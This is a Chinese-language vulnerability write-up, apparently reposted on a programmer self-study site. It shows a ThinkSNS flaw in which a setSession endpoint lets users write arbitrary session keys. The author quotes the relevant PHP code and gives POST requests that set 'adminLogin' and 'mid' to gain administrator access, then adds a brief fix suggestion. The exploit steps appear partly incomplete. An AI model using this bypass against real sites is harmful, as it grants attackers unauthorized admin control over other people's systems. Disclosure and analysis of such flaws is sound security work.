好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

ThinkSNS任意用户登陆+后台管理绕过 - 网站安全

大概三个月前找到的,没想到还是没补

 

在/apps/page/Lib/Action/DiyAction.class.php 205行 setSession函数:

 

public function setSession() { echo $_SESSION [ $_POST ['name'] ] = base64_encode( $_POST ['layout']) ; }

 

 

 

setSession函数用POST传入的name和base64编码的layout为$_SESSION赋值。

 

在/apps/admin/Lib/Action/AdministratorAction.class.php的_initialize函数是负责判断当前用户是否有后台管理员权限的:

 

public function _initialize() { if(!model('Passport')->checkAdminLogin()){ redirect(U('admin/Public/login')); } $this->systemdata_list = APP_NAME.'_'.MODULE_NAME; $this->systemdata_key = ACTION_NAME; $this->pageKey = APP_NAME.'_'.MODULE_NAME.'_'.ACTION_NAME; $this->searchPageKey = 'S_'.APP_NAME.'_'.MODULE_NAME.'_'.ACTION_NAME; $this->savePostUrl = U('admin/Index/saveConfigData'); $this->searchPostUrl = U(APP_NAME.'/'.MODULE_NAME.'/'.ACTION_NAME); $this->submitAlias = L('PUBLIC_SAVE'); $this->assign('isAdmin',1); $this->onload[] = 'admin.bindTrOn()'; $this->getSearchPost(); //默认初始化post查询 if(!CheckPermission('core_admin','admin_login')){ $this->assign('jumpUrl',SITE_URL); $this->error(L('PUBLIC_NO_FRONTPLATFORM_PERMISSION_ADMIN')); } $this->navList = model('Xdata')->get('admin_nav:top'); }

 

 

有两个点是验证权限的地方,跟进去

 

先看checkAdminLogin函数

 

/addons/model/PassportModel.class.php checkAdminLogin() /** * 验证后台登录 * @return boolean 是否已经登录后台 */ public function checkAdminLogin() { if($_SESSION['adminLogin']) { return true; } else { return false; } }

 

 

这段代码判断若$_SESSION['adminLogin']存在那么直接返回true,因此可以通过前面的setSession函数设置一下$_SESSION['adminLogin']就可以了,不必关心它的值。

 

看CheckPermission函数:

 

/core\OpenSociax\functions.inc.php:987 /** * 验证权限方法 * @param string $load 应用 - 模块 字段 * @param string $action 权限节点字段 * @param unknown_type $group 是否指定应用内部用户组 */ function CheckPermission($load = '', $action = '', $group = ''){ if(empty($load) || empty($action)) { return false; } $Permission = model('Permission')->load($load); if(!empty($group)){ return $Permission->group($group)->check($action); } return $Permission->check($action); }

 

 

 

在跟踪的时候会进入$Permission->check($action),因此继续跟下去:

 

/addons/model/PermissionModel.class.php

 

/** * 验证权限 * @param string $action 动作节点 * @return boolean 是否具有该动作节点的权限 */ public function check($action) { // 验证时载入当前应用 - 模块的权限 if(empty($this->option['app']) || empty($this->option['module'])) { return false; } // 判断是否为扩展应用 if(!in_array($this->option['app'], array('core'))) { // 判断应用是否关闭 $isOpen = model('App')->isAppNameOpen(strtolower($this->option['app'])); if(!$isOpen) { return false; } } $permission = $this->loadRule($GLOBALS['ts']['mid']); if(isset($permission[$this->option['app']][$this->option['module']][$action])) { return true; } return false; }

 

 

 

$GLOBALS['ts']['mid']的值是当前用户的id,loadRule函数根据这个从 系统 中读取当前id用户所拥有的权限,我们需要把这里的mid改1才能通过校验。

 

于是在程序入口找了一遍$GLOBALS['ts']['mid']是怎么被赋值的:

 

/core/OpenSociax/Action.class.php:

 

//当前登录者uid $GLOBALS['ts']['mid'] = $this->mid = intval($_SESSION['mid']);

 

 

这里使用了intval从session中取出mid放到globals里面。

 

 

然后找到%D5的base64编码是1开头的,所以给$_SESSION['mid']设置为%D5  

1. POST index.php?app=page&mod=Diy&act=setSession

 

 

2. POST index.php?app=page&mod=Diy&act=setSession

 

name=adminLogin&layout=test

 

 

修复方案:

至少对这个函数做下限制吧,不允许用户提交key

查看更多关于ThinkSNS任意用户登陆+后台管理绕过 - 网站安全的详细内容...

  阅读:78次